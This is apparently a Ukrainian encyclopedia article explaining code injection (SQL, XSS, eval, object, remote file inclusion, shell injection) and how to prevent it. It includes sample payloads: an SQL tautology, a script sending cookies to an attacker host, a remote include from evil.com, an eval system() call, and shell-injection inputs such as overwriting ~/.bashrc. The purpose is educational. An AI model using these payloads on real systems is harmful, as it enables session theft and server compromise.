Відкрити головне меню

Включення коду — це використання програмних помилок для обробки невірних даних. Включення коду може бути використане зловмисником для введення(включення) коду в комп'ютерну програму, щоб змінити хід її виконання. Наприклад, включення коду використовується для поширення комп'ютерних хробаків.

Включення коду трапляється тоді, коли програма надсилає неперевірені дані інтерпретатору. Недоліки включення коду дуже поширені в унаслідуваному коді. Вони часто трапляються у SQL, LDAP, Xpath, або NoSQL запитах; командах операційної системи; синтаксичних аналізаторах XML, заголовках STMP, аргументах програми. Включення коду легко виявити при перегляді коду, проте його дуже важко виявити тестуванням. Сканери та фузери допомагають зловмисникам виявляти  вразливості включення коду.[1]

Включення коду може призвести до пошкодження чи втрати даних, відсутності звітності або відмови в доступі. Інколи включення коду може призвести навіть до зміни хосту.

Деякі типи включення коду призводять до помилок інтерпретації, надаючи спеціальне значення простому вводу користувча. Це чимось схоже на нездатність розрізняти імена і звичайні слова. За тим же принципом в деяких видах вставленого коду важко розрізнити ввід користувача і системні команди.

Техніка включення коду є поширеною при та зломі з метою отримання інформації, отриманні привілейованого або аоноімного доступу до системи. Включення коду можна використовувати у зловмисних цілях, зокрема:

  • Довільно змінювати вміст бази даних через так звані SQL інєкції. Наслідком може бути як порушення роботи сайту так і компроментація конфіденційних даних.
  • Встановлення шкідливих програм або виконання шкідливого коду на сервері через включення скрипт коду сервера(наприклад PHP чи ASP).
  • Отримання доступу до кореневої папки використовуючи вразливості включення Shell.
  • Атаки інтернет-користувачів за допомогою включення HTML/Script(міжсайтовий скриптинг).

Зміст

Ненавмисне використання включень кодуРедагувати

Інколи включення коду можуть використовувати з хорошою метою. Наприклад, використовуючи включення коду можна обманути систему, і змусити її поводитися певним чином без злого наміру.[2][3] Наприклад, завдяки включенню коду можна:

  • Ввести нову корисну колонку на сторінці пошуку, якої немає в стандартному дизайні.
  • Надати можливість сортувати, впорядковувати, або групувати дані, використовуючи поля, які відсутні в стандартних функціях.
  • Для програм як Dropbox, додавати спеціальні модулі, які можна використовувати для підключення до онлайн ресурсів з офлайнової програми.

Користувачі можуть і не знати, що вони роблять включення коду, бо їхній ввід не був врахований розробниками системи. Наприклад:

  • Коректні вхідні дані(на думку користувача) можуть містити марковні символи, або слова, що були зарезервовані програмістом для певних значень (це може бути символ "&" в назві компанії або символ лапок).
  • Користувач може надіслати файл невірного формату як вхідні дані. І хоч цей файл працює коректно, він заразить системі, яка отримує файл.

Запобігання включення кодуРедагувати

Щоб запобігти проблемі включення коду, використовуйте обробку безпечного вводу/виводу, до якого належать:

  • Використання API, яке дасть змогу безпечно опрацювати всі вхідні символи (при правильному використанні). Параметризовані запити дозволяють інтерпретувати переміщені з стрічки дані користувача. 
  • Забезпечення мовного поділу використовуючи систему типізації.[4]
  • Перевірка вхідних даних, приймаючи лише визначений список валідних даних. 
  • Використання вхідного кодування.Наприклад в PHP, використання функції htmlspecialchars() (перетворює теги HTML в їх еквівалент в стандарті ISO-8859-1) чи функція strip_tags() (видаляє теги HTML ) для безпечного виводу тексту в HTML, і mysql_real_escape_string() щоб ізолювати дані, якібудуть включені в SQL запит, для захисту від SQL ін'єкцій.
  • Використання вихідного кодування, наприклад захист від міжсайтового скриптингу.
  • Модульна оболонка дисоціації від ядра

Усі поради вище стосуються в основному включення коду при роботі з веб-аплікаціями. Однак для роботи з включенням коду на комп'ютері користувача використовується дещо інший підхід.

Деякі підходи що використовуються для виявлення та ізоляції включення керованого і некерованого коду:
  • Хеш-валідація зображення під час виконання - захопити хеш всього зображення або його частини під час виконання завантаження і порівнювати його з збереженим і очікуваним хешем
  • NX біт - всі дані користувача зберігаються в спеціальній ділянці пам'яті, яка має мітку, що ці дані не можна інтерпретувати як вихідний код. Процесор повідомлений, що в цій ділянці пам'яті немає виконуваного коду, тому відмовиться працювати з цими заними як з вихідним кодом.

Приклади включення кодуРедагувати

SQL ін'єкціяРедагувати

SQL ін'єкція використовує переваги синтаксису SQL для включення команд, які можути читати чи змінювати базу даних або змінити значення оригінального запиту.

Для прикладу, розглянемо веб-стоінку, що має два поля для введення імені користувача і пароля. Насправді код сторінки згенерує SQL запит, щоб перевірити існує такий користувач і чи належний пароль він ввів:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'

Якщо запит повертає рядки, от доступ надається. Однак, якщо зловмисник введе валідне ім'я користувача і валідний код ("password' OR '1'='1") в поле "Password", тоді запит буде мати вигляд:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'

В цьому прикладі, припускається, то поле "Password"  є пусте або містить нешкідливий рядок символів. Вираз '1'='1' завжди буде істинним, тому багато рядків повернуться, тим самим надаючи доступ.

Ця техніка може бути вдосконалена, дозволяючи наприклад записувати декілька виразів або навіть завантажувати і запускати зовнішні програми.

Включення HTML скриптівРедагувати

Веб-сервер має скрипт для гостьової книги, який приймає невеликі повідомлення від користувача, як правило отримуючи такі повідомлення

Чудовий сайт!

Однак, зловмисники можуть використати вразливість гостьової книги і скориставшись включенням коду залишити наступне повідомлення

Nice site,  I think I'll take it. <script>document.location="http://some_attacker/cookie.cgi?" + document.cookie</script>

Якщо інший користувач переглядатиме ту ж сторінку, включений код виконається. Код зверху дозволяє зловмиснику видавати себе за іншого користувача. Щоправда, ця ж програмна вразливість може бути викликана і абсолютно невинним користувачем, який ввів наступне повідомлення:

 Попередній коментар, >:)

Включення HTML, або як його ще часто називають міжсайтовий скриптинг скриптів є доволі популярною темою. Він належить до помилок включення, коли ввід користувача потрапляє в вихідний HTML код, без перевірки чи це код чи скрипт.

Багато з цих проблем пов'язані з помилковим припущенням які дані вважати допистимими, або є наслідком спеціальних даних.[5]

Вразливості динамічної оцінкиРедагувати

Стівен М.Крісті з  Mitre Corporation запропонувв це ім'я для групи вразливостей включення коду.

Вразливість включення коду при використанні функції eval проявляється тоді, коли зловмисник повністю або частково може контролювати аргументи, які передаються в виклик функціїeval().[6]

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

Аргумент функції  "eval" оброблятимуться як в PHP.  Наприклад якщо "arg" присвоїти "10; system('/bin/echo uh-oh')", запуститься виконання додатковї програми на сервері, в даному випадку"/bin/echo".

Включення об'єктівРедагувати

PHP дозволяє сереалізувати і десереалізовувати цілі об'єкти. Якщо в функцію десереалізації передати неперевірені дані, то таким чином можна переписати існуючі класи і виконати шкідливі дії.[7]

Віддалене включення в файлРедагувати

Розглянемо таку PHP програму (вона містить файл визначений запитом):

<?php
   $color = 'blue';
   if (isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>

Цей код може опрацьовувати файли типу blue.php і red.php. Але зловмисники можуть задати COLOR=http://evil.com/exploit[недоступне посилання з березень 2019] змусивши PHP завантажити зовнішній файл.

Shell ін'єкціїРедагувати

Shell ін'єкції названі так завдяки командній оболонці Linux, але це стосується всіх операційних систем, які дозволяють запуск програм з командного рядка. Типові функції, пов'язані з shell ін'єкціями:system(), StartProcess(), і System.Diagnostics.Process.Start().

Розглянемо таку  PHP програму, яка запускає зовнішню програму funnytext щоб замінити слово надіслане користувачем на інше слово.

<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);
?>

Ця програма може бути включена різними способами, використовуючи синтаксис різних функцій оболонки (це не повний перелік можливих варіантів):[8]

Shell feature USER_INPUT value Resulting shell command Explanation
Послідовне виконання ; шкідлива_команда /bin/funnytext ; шкідлива_команда Виконується funnytext, тоді виконується malicious_command.
Конвеєр | шкідлива_команда /bin/funnytext | шкідлива_команда Посилає вивідfunnytext як вхідні дані для malicious_command.
Заміна команди `шкідлива_команда` /bin/funnytext `шкідлива_команда` Посилає вивід malicious_command як аргументи для funnytext.
Заміна команди  $(шкідлива_команда) /bin/funnytext $(шкідлива_команда) Посилає вивід malicious_command як аргументи для funnytext.
Логічний вираз && шкідлива_команда /bin/funnytext && шкідлива_команда Виконуєтьсяmalicious_command iff funnytext повертає стан завершення 0 (успішно).
Логічний вираз || шкідлива_команда /bin/funnytext || шкідлива_команда Виконуєтьсяmalicious_command iff funnytext повертає ненульовий стан завершення (помилка).
Перенаправлення виводу > ~/.bashrc /bin/funnytext > ~/.bashrc Переписує у файл .bashrc вивід funnytext.
Перенаправлення вводу < ~/.bashrc /bin/funnytext < ~/.bashrc Надсилає вміст файлу .bashrc як вхідні дані дляfunnytext.

Деякі мови програмування мають функції для правильного завершення або оцінки стрічок, які використовуються для побудови команд оболонки:

Однак, це не знімає з програміста відповідальності за знання і використання цих функцій. Окрім використання цих функцій також рекомендується валідація і зачистка вводу користувача.

Безпечнішою альтернативою є використання API які виконують зовнішні програми напряму,а не через оболонку, унеможливлюючи тим самим включення в неї. Однак, API не підтримують багатьох зручних функцій оболонок, і їх синтаксис громіздкий в порівнянні з лаконічним синтаксисом оболонки.

Дивись такожРедагувати

ПосиланняРедагувати

  1. OWASP Top 10 2013 A1: Injection Flaws. OWASP. Процитовано 19 December 2013. 
  2. Srinivasan, Raghunathan. Towards More Effective Virus Detectors. Arizona State University. Архів оригіналу за 29 липень 2010. Процитовано 18 September 2010. «Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.» 
  3. Symptoms-Based Detection of Bot Processes ]J Morales, E Kartaltepe, S Xu, R Sandhu - Computer Network Security, 2010 - Springer
  4. http://blog.moertel.com/posts/2006-10-18-a-type-based-solution-to-the-strings-problem.html
  5. Hope, Paco; Walther, Ben (2008). Web Security Testing Cookbook. Sebastopol, CA: O'Reilly Media, Inc. с. 254. ISBN 978-0-596-51483-9. 
  6. Christey, Steven M. (3 May 2006). Dynamic Evaluation Vulnerabilities in PHP applications. Insecure.org. Процитовано 2008-11-17. 
  7. Unserialize function warnings. PHP.net. 
  8. Архівована копія. Архів оригіналу за 27 лютий 2015. Процитовано 3 червень 2015. 

Зовнишні посиланняРедагувати